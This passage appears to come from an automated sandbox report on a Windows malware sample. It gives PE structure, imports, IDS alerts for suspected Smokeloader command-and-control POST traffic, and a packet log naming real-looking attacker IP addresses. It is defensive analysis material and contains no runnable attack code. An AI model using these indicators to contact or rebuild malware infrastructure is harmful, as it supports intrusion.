mov dword ptr [00427C14h], ecx
mov dword ptr [00427C10h], edx
mov dword ptr [00427C0Ch], ebx
mov dword ptr [00427C08h], esi
mov dword ptr [00427C04h], edi
mov word ptr [00427C30h], ss
mov word ptr [00427C24h], cs
mov word ptr [00427C00h], ds
mov word ptr [00427BFCh], es
mov word ptr [00427BF8h], fs
mov word ptr [00427BF4h], gs
pushfd
pop dword ptr [00427C28h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [00427C1Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00427C20h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [00427C2Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [00427B68h], 00010001h
mov eax, dword ptr [00427C20h]
mov dword ptr [00427B1Ch], eax
mov dword ptr [00427B10h], C0000409h
mov dword ptr [00427B14h], 00000001h
mov eax, dword ptr [00425004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [00425008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000C4h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2384c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x403000	0xe718	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x19c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2099c	0x20a00	a9f147a0cc53da379fb6488a7ee14d3f	False	0.6210787835249042	data	6.432343348190455	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x2192	0x2200	ce8b9b7521e65f96e2517cc5eb98aee8	False	0.36282169117647056	data	5.5307909725041045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x25000	0x3dd118	0x7000	3dc08a2c184d6c78a1d85fa02fbc5750	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x403000	0xe718	0xe800	5b41f0fc42a65581d8dfdbf88c9cfcc5	False	0.40417901400862066	data	4.525115163720231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_CURSOR	0x409e18	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.4276315789473684
RT_CURSOR	0x409f60	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.7368421052631579
RT_CURSOR	0x40a090	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.06130705394190871
RT_ICON	0x4035e0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.5557036247334755
RT_ICON	0x404488	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.6137184115523465
RT_ICON	0x404d30	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	0.6486175115207373
RT_ICON	0x4053f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.6654624277456648
RT_ICON	0x405960	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.4392116182572614
RT_ICON	0x407f08	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.5133677298311444
RT_ICON	0x408fb0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	0.5184426229508197
RT_ICON	0x409938	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.6152482269503546
RT_STRING	0x40c818	0x454	data	0.45126353790613716
RT_STRING	0x40cc70	0x126	data	0.5238095238095238
RT_STRING	0x40cd98	0x656	data	0.436498150431566
RT_STRING	0x40d3f0	0x750	data	0.4305555555555556
RT_STRING	0x40db40	0x6a4	data	0.4376470588235294
RT_STRING	0x40e1e8	0x74c	data	0.4229122055674518
RT_STRING	0x40e938	0x70e	data	0.4330011074197121
RT_STRING	0x40f048	0x84e	data	0.4195672624647225
RT_STRING	0x40f898	0x662	data	0.43512851897184823
RT_STRING	0x40ff00	0x964	data	0.4068219633943428
RT_STRING	0x410868	0x66e	data	0.4356014580801944
RT_STRING	0x410ed8	0x60a	data	0.444372574385511
RT_STRING	0x4114e8	0x22a	data	0.47653429602888087
RT_GROUP_CURSOR	0x409f48	0x14	data	1.15
RT_GROUP_CURSOR	0x40c638	0x22	data	1.088235294117647
RT_GROUP_ICON	0x409da0	0x76	data	0.6610169491525424
RT_VERSION	0x40c660	0x1b8	COM executable for DOS	0.575

Imports

DLL	Import
KERNEL32.dll	SetDefaultCommConfigA, SetLocaleInfoA, DeleteVolumeMountPointA, InterlockedDecrement, GetEnvironmentStringsW, GetComputerNameW, GetModuleHandleW, GetDateFormatA, LoadLibraryW, ReadProcessMemory, GetTimeFormatW, GetConsoleAliasW, CreateProcessA, GetAtomNameW, GetStartupInfoW, GetShortPathNameA, SetLastError, GetProcAddress, PulseEvent, SetFileAttributesA, BuildCommDCBW, GetNumaHighestNodeNumber, LoadLibraryA, UnhandledExceptionFilter, InterlockedExchangeAdd, LocalAlloc, AddAtomA, FoldStringW, OpenFileMappingW, RequestWakeupLatency, WriteConsoleOutputAttribute, FindFirstVolumeA, FindAtomW, UnregisterWaitEx, CreateFileA, WriteConsoleW, SearchPathA, GetCommandLineW, MultiByteToWideChar, GetLastError, HeapReAlloc, HeapAlloc, GetCommandLineA, GetStartupInfoA, TerminateProcess, GetCurrentProcess, SetUnhandledExceptionFilter, IsDebuggerPresent, GetCPInfo, InterlockedIncrement, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapCreate, VirtualFree, HeapFree, VirtualAlloc, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, SetHandleCount, GetFileType, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, InitializeCriticalSectionAndSpinCount, RtlUnwind, HeapSize, ReadFile, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, SetStdHandle, CloseHandle, WriteConsoleA, GetConsoleOutputCP, GetModuleHandleA
USER32.dll	GetClassLongW
GDI32.dll	GetBitmapBits

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T19:42:23.662544+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49736	58.151.148.90	80	TCP
2024-12-30T19:42:25.118879+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49737	58.151.148.90	80	TCP
2024-12-30T19:42:26.599116+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49738	58.151.148.90	80	TCP
2024-12-30T19:42:28.066270+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49739	58.151.148.90	80	TCP
2024-12-30T19:42:29.526498+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49740	58.151.148.90	80	TCP
2024-12-30T19:42:31.023710+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49741	58.151.148.90	80	TCP
2024-12-30T19:42:32.476347+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49742	58.151.148.90	80	TCP
2024-12-30T19:42:33.955334+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49743	58.151.148.90	80	TCP
2024-12-30T19:42:35.391274+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49744	58.151.148.90	80	TCP
2024-12-30T19:42:36.871674+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49745	58.151.148.90	80	TCP
2024-12-30T19:42:38.356537+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49746	58.151.148.90	80	TCP
2024-12-30T19:42:40.059112+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49747	58.151.148.90	80	TCP
2024-12-30T19:42:41.554692+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49748	58.151.148.90	80	TCP
2024-12-30T19:42:43.007851+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49749	58.151.148.90	80	TCP
2024-12-30T19:42:44.454560+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49750	58.151.148.90	80	TCP
2024-12-30T19:42:45.942343+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49751	58.151.148.90	80	TCP
2024-12-30T19:42:47.461369+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49752	58.151.148.90	80	TCP
2024-12-30T19:42:48.939673+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49753	58.151.148.90	80	TCP
2024-12-30T19:42:50.395023+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49754	58.151.148.90	80	TCP
2024-12-30T19:42:52.207696+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49755	58.151.148.90	80	TCP
2024-12-30T19:42:53.672878+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49757	58.151.148.90	80	TCP
2024-12-30T19:42:55.177365+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49758	58.151.148.90	80	TCP
2024-12-30T19:43:07.643862+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49760	23.145.40.181	443	TCP
2024-12-30T19:43:09.099716+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49841	58.151.148.90	80	TCP
2024-12-30T19:43:10.550269+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49849	58.151.148.90	80	TCP
2024-12-30T19:43:12.024918+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49859	58.151.148.90	80	TCP
2024-12-30T19:43:13.485834+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49869	58.151.148.90	80	TCP
2024-12-30T19:43:15.049252+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49880	58.151.148.90	80	TCP
2024-12-30T19:43:16.522075+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49891	58.151.148.90	80	TCP
2024-12-30T19:43:18.168833+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49901	58.151.148.90	80	TCP
2024-12-30T19:43:19.670064+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49912	58.151.148.90	80	TCP
2024-12-30T19:43:21.135846+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49923	58.151.148.90	80	TCP
2024-12-30T19:43:22.603639+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49931	58.151.148.90	80	TCP
2024-12-30T19:43:24.081589+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49941	58.151.148.90	80	TCP
2024-12-30T19:43:25.585791+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49951	58.151.148.90	80	TCP
2024-12-30T19:44:08.353051+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49962	23.145.40.181	443	TCP
2024-12-30T19:44:55.486527+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50040	58.151.148.90	80	TCP
2024-12-30T19:44:57.052287+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50041	58.151.148.90	80	TCP
2024-12-30T19:44:58.529236+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50042	58.151.148.90	80	TCP
2024-12-30T19:45:00.019203+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50043	58.151.148.90	80	TCP
2024-12-30T19:45:01.707328+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50044	58.151.148.90	80	TCP
2024-12-30T19:45:03.192960+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50045	58.151.148.90	80	TCP
2024-12-30T19:45:04.796958+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50046	58.151.148.90	80	TCP
2024-12-30T19:45:06.282513+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50047	58.151.148.90	80	TCP
2024-12-30T19:45:07.746326+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50048	58.151.148.90	80	TCP
2024-12-30T19:45:09.281261+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50049	58.151.148.90	80	TCP
2024-12-30T19:45:10.243183+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50050	51.79.230.147	443	TCP
2024-12-30T19:45:18.689928+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50051	58.151.148.90	80	TCP
2024-12-30T19:45:20.211488+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50052	58.151.148.90	80	TCP
2024-12-30T19:45:21.698461+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50053	58.151.148.90	80	TCP
2024-12-30T19:45:23.176825+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50054	58.151.148.90	80	TCP
2024-12-30T19:45:24.673637+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50055	58.151.148.90	80	TCP
2024-12-30T19:45:26.125995+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50056	58.151.148.90	80	TCP
2024-12-30T19:45:27.932092+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50057	58.151.148.90	80	TCP
2024-12-30T19:45:29.410428+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50058	58.151.148.90	80	TCP
2024-12-30T19:45:30.888815+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50059	58.151.148.90	80	TCP
2024-12-30T19:45:32.675599+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50060	58.151.148.90	80	TCP
2024-12-30T19:45:34.174731+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50061	58.151.148.90	80	TCP
2024-12-30T19:45:35.676528+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50062	58.151.148.90	80	TCP
2024-12-30T19:45:37.142096+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50063	58.151.148.90	80	TCP
2024-12-30T19:45:37.881439+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50064	192.185.146.136	443	TCP
2024-12-30T19:45:40.839738+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50065	58.151.148.90	80	TCP
2024-12-30T19:45:42.293796+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50066	58.151.148.90	80	TCP
2024-12-30T19:45:43.757379+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50068	58.151.148.90	80	TCP
2024-12-30T19:45:45.285811+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50069	58.151.148.90	80	TCP
2024-12-30T19:45:47.149474+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50070	58.151.148.90	80	TCP
2024-12-30T19:45:51.685577+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50072	58.151.148.90	80	TCP
2024-12-30T19:45:53.145325+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50074	58.151.148.90	80	TCP
2024-12-30T19:45:54.619208+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50075	58.151.148.90	80	TCP
2024-12-30T19:45:55.393275+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50076	45.118.248.184	443	TCP
2024-12-30T19:46:03.408545+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50079	58.151.148.90	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 19:42:22.092034101 CET	49736	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:22.096796989 CET	80	49736	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:22.096879959 CET	49736	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:22.097021103 CET	49736	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:22.097083092 CET	49736	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:22.101943970 CET	80	49736	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:22.101953030 CET	80	49736	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:23.661969900 CET	80	49736	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:23.662482023 CET	80	49736	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:23.662544012 CET	49736	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:23.663429022 CET	49736	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:23.666085958 CET	49737	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:23.668226957 CET	80	49736	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:23.671005011 CET	80	49737	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:23.671086073 CET	49737	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:23.671211958 CET	49737	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:23.671245098 CET	49737	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:23.676001072 CET	80	49737	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:23.676147938 CET	80	49737	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:25.118741989 CET	80	49737	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:25.118784904 CET	80	49737	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:25.118879080 CET	49737	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:25.119117975 CET	49737	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:25.122999907 CET	49738	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:25.124382019 CET	80	49737	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:25.128237009 CET	80	49738	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:25.128319979 CET	49738	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:25.128454924 CET	49738	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:25.128479004 CET	49738	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:25.133176088 CET	80	49738	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:25.133335114 CET	80	49738	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:26.598766088 CET	80	49738	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:26.599018097 CET	80	49738	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:26.599116087 CET	49738	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:26.599162102 CET	49738	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:26.602644920 CET	49739	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:26.603940964 CET	80	49738	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:26.607512951 CET	80	49739	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:26.607645988 CET	49739	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:26.607853889 CET	49739	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:26.607887030 CET	49739	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:26.612658024 CET	80	49739	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:26.612668991 CET	80	49739	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:28.066045046 CET	80	49739	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:28.066185951 CET	80	49739	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:28.066270113 CET	49739	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:28.066329956 CET	49739	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:28.069377899 CET	49740	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:28.071149111 CET	80	49739	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:28.074213028 CET	80	49740	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:28.074295044 CET	49740	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:28.074415922 CET	49740	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:28.074431896 CET	49740	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:28.079152107 CET	80	49740	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:28.079286098 CET	80	49740	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:29.526232004 CET	80	49740	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:29.526348114 CET	80	49740	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:29.526498079 CET	49740	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:29.526530027 CET	49740	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:29.529026985 CET	49741	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:29.531286001 CET	80	49740	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:29.533859015 CET	80	49741	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:29.533951044 CET	49741	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:29.534080029 CET	49741	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:29.534080029 CET	49741	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:29.538799047 CET	80	49741	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:29.538921118 CET	80	49741	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:31.023500919 CET	80	49741	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:31.023631096 CET	80	49741	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:31.023710012 CET	49741	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:31.023792982 CET	49741	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:31.026015043 CET	49742	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:31.028527975 CET	80	49741	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:31.030883074 CET	80	49742	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:31.030986071 CET	49742	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:31.031085014 CET	49742	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:31.031085014 CET	49742	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:31.035810947 CET	80	49742	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:31.036015034 CET	80	49742	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:32.476174116 CET	80	49742	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:32.476277113 CET	80	49742	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:32.476346970 CET	49742	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:32.477812052 CET	49742	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:32.480874062 CET	49743	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:32.482621908 CET	80	49742	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:32.485738039 CET	80	49743	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:32.485858917 CET	49743	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:32.486035109 CET	49743	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:32.486073971 CET	49743	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:32.490834951 CET	80	49743	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:32.491009951 CET	80	49743	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:33.955096006 CET	80	49743	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:33.955260038 CET	80	49743	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:33.955333948 CET	49743	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:33.955408096 CET	49743	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:33.958265066 CET	49744	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:33.960165977 CET	80	49743	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:33.963114023 CET	80	49744	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:33.963205099 CET	49744	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:33.963368893 CET	49744	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:33.963427067 CET	49744	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:33.968147993 CET	80	49744	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:33.968280077 CET	80	49744	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:35.390779018 CET	80	49744	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:35.391216040 CET	80	49744	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:35.391273975 CET	49744	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:35.391324043 CET	49744	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:35.395555019 CET	49745	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:35.396146059 CET	80	49744	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:35.400407076 CET	80	49745	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:35.400480032 CET	49745	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:35.400616884 CET	49745	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:35.400640011 CET	49745	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:35.405503035 CET	80	49745	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:35.405514002 CET	80	49745	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:36.871290922 CET	80	49745	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:36.871599913 CET	80	49745	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:36.871674061 CET	49745	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:36.871706009 CET	49745	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:36.873960018 CET	49746	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:36.876533985 CET	80	49745	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:36.878810883 CET	80	49746	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:36.882632017 CET	49746	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:36.882741928 CET	49746	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:36.882775068 CET	49746	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:36.887518883 CET	80	49746	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:36.887528896 CET	80	49746	58.151.148.90	192.168.2.4
